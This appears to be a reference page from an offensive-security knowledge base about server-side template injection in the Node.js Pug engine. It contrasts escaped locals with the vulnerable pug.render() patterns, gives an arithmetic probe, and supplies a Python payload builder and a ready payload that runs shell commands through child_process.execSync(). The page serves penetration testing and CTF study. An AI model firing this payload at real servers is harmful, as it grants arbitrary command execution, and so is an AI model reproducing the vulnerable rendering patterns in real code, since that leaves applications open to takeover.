Skip to content
Pug RCE

Pug RCE

Pug SSTI RCE via buffered JavaScript

Builds a Pug payload that evaluates buffered JavaScript and executes a command with Node.js child_process.execSync().

Vulnerable source pattern

A fixed Pug template loaded from disk keeps userInput in the locals object as data:

p= value
const locals = {
    value: userInput
};
const output = pug.renderFile("page.pug", locals);

= and #{value} escape the rendered value. != and !{value} emit it without HTML escaping:

p!= value

Unescaped output can produce XSS, but it does not compile Pug syntax stored inside value.

SSTI appears when attacker-controlled input becomes the source passed to pug.render():

const templateSource = userInput;
const locals = {};
const output = pug.render(templateSource, locals);

The same vulnerability appears when the input is concatenated into otherwise fixed Pug source before rendering:

const templateSource = "p Result\n" + userInput;
const locals = {};
const output = pug.render(templateSource, locals);

In both vulnerable forms, an input line containing = 7 * 7 is compiled as Pug source and renders as 49.

Testing

An evaluated arithmetic expression renders 49, confirming that the input reaches the Pug compiler as template source rather than plain data.

= 7 * 7

Command execution

Pug lines beginning with = treat the remainder of the line as a JavaScript expression. Pug evaluates that expression on the server and inserts its returned value into the rendered HTML.

The expression uses the following chain:

global.process                     -> obtain the global Node.js process object
process.getBuiltinModule(...)      -> load a built-in Node.js module from global scope
child_process.execSync(<COMMAND>)  -> execute the command and return stdout as a Buffer object
.toString()                        -> convert the Buffer bytes into rendered text

child_process is Node.js’s built-in operating-system process module. execSync() waits for the command to finish before returning its standard output. That output is stored in a Buffer, which is a JavaScript object containing raw bytes; .toString() decodes those bytes into text that Pug can place in the response.

import json

def pug_execsync_payload(command):
    payload = "= global.process.getBuiltinModule('child_process').execSync(" + json.dumps(command) + ").toString()"
    return payload

Rendered payload

= global.process.getBuiltinModule('child_process').execSync("id").toString()

This direct SSTI primitive requires control over Pug template source. The prototype-pollution variant reaches the same renderer through a polluted internal block.line property and remains documented separately under Prototype Pollution.

Find by: ssti, pug, nodejs, node, template source, template data, pug render, renderFile, escaped interpolation, unescaped interpolation, xss vs ssti, template injection, buffered code, javascript expression, global process, getBuiltinModule, child_process, execSync, command execution · Source: Pug documentation + HTB/Gunship